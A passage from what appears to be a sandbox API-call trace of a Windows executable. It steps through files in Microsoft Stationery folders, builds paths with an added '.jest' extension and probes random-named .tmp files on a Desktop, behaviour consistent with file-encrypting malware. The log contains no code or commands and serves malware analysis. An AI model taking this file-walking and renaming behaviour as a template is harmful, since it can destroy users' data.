lpFilePart=0x18e6e4*="IPKCfQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp") returned 0x8f [0122.643] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IPKCfQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x434b5049, cFileName="fQ6hQ_0jKVXhDNgHpDCYPXW5ZxMNsDDbR6f_myj-EmvekbUTxHljO6sCNbhwMcR2PlHjzRGE27_IrJDR wkHR FrTddZ_yu5U.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.643] GetLastError () returned 0x2 [0122.643] GetLastError () returned 0x2 [0122.643] SetLastError (dwErrCode=0x2) [0122.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.643] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.644] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.644] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.644] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.644] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.644] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.645] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.646] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.646] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.646] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.646] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.646] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.647] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.647] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.647] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.647] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.647] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.647] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.647] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.658] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.661] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.661] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.661] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.661] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.662] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.662] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.662] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.662] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e870*="SoftBlue.jpg") returned 0x4c [0122.689] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.jest", lpFilePart=0x18e870*="SoftBlue.jpg.jest") returned 0x51 [0122.694] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e6d8*="SoftBlue.jpg") returned 0x4c [0122.694] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x829961fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x78, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.694] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.694] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.694] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e780*="SoftBlue.jpg") returned 0x4c [0122.695] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e780*="SoftBlue.jpg") returned 0x4c [0122.695] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.695] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x15a)) [0122.696] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x15a)) [0122.696] GetUserDefaultLCID () returned 0x409 [0122.696] VarBstrFromR4 (in: fltIn=0x479443ac, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.34") returned 0x0 [0122.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0122.696] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e780*="SoftBlue.jpg") returned 0x4c [0122.698] GetFullPathNameA (in: lpFileName="ZbjR0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZbjR0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp", lpFilePart=0x18e708*="ZbjR0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp") returned 0x8d [0122.698] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e708*="SoftBlue.jpg") returned 0x4c [0122.698] GetFullPathNameA (in: lpFileName="ZbjR0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZbjR0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp", lpFilePart=0x18e6e4*="ZbjR0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp") returned 0x8d [0122.698] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZbjR0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x526a625a, cFileName="0db5RgXo0zY9klUZpffjFJIopOlTEpqw5ZpeAtpDcY-AWF_uy2Plwsfo426giuYkR22tAfjSPlYoFdmSYAghVz-_hbISKaG.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.707] GetLastError () returned 0x2 [0122.707] GetLastError () returned 0x2 [0122.707] SetLastError (dwErrCode=0x2) [0122.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.707] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.709] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.709] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.709] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.709] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.709] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.709] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e870*="SoftBlue.jpg") returned 0x46 [0122.752] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.jest", lpFilePart=0x18e870*="SoftBlue.jpg.jest") returned 0x4b [0122.756] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e6d8*="SoftBlue.jpg") returned 0x46 [0122.756] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x78, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 0x143ce48 [0122.757] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.757] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.757] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e780*="SoftBlue.jpg") returned 0x46 [0122.758] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e780*="SoftBlue.jpg") returned 0x46 [0122.758] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.758] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x179)) [0122.758] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x179)) [0122.758] GetUserDefaultLCID () returned 0x409 [0122.758] VarBstrFromR4 (in: fltIn=0x479443b0, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.38") returned 0x0 [0122.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="þ") returned 1 [0122.760] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e780*="SoftBlue.jpg") returned 0x46 [0122.761] GetFullPathNameA (in: lpFileName="pB_scEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pB_scEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp", lpFilePart=0x18e708*="pB_scEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp") returned 0x8f [0122.761] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg", lpFilePart=0x18e708*="SoftBlue.jpg") returned 0x46 [0122.762] GetFullPathNameA (in: lpFileName="pB_scEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pB_scEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp", lpFilePart=0x18e6e4*="pB_scEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp") returned 0x8f [0122.762] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pB_scEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x735f4270, cFileName="cEQeEmklo6pXX_zVIPnN1YBW6RWjrelcGg2qvSX_U_BiQDV3_djyLclwul3WBzScpW6CYfvmKIvPhmk0wWF68fNFY5dKv_HaQ.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0122.762] GetLastError () returned 0x2 [0122.762] GetLastError () returned 0x2 [0122.762] SetLastError (dwErrCode=0x2) [0122.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0122.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0122.762] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0122.764] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0122.764] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0122.764] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0122.764] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0122.764] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0122.764] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", lpFilePart=0x18e870*="Stars.htm") returned 0x49 [0122.767] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm.jest", lpFilePart=0x18e870*="Stars.htm.jest") returned 0x4e [0122.769] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", lpFilePart=0x18e6d8*="Stars.htm") returned 0x49 [0122.769] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42277784, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42277784, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x420ae704, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x78, dwReserved1=0x56006533, cFileName="Stars.htm", cAlternateFileName="")) returned 0x143ce48 [0122.769] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0122.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0122.770] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", lpFilePart=0x18e780*="Stars.htm") returned 0x49 [0122.770] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", lpFilePart=0x18e780*="Stars.htm") returned 0x49 [0122.770] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0122.770] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x189)) [0122.771] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xb, wMilliseconds=0x189)) [0122.771] GetUserDefaultLCID () returned 0x409 [0122.771] VarBstrFromR4 (in: fltIn=0x479443b2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75911.39") returned 0x0 [0122.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0122.771] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Stars.htm", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Common 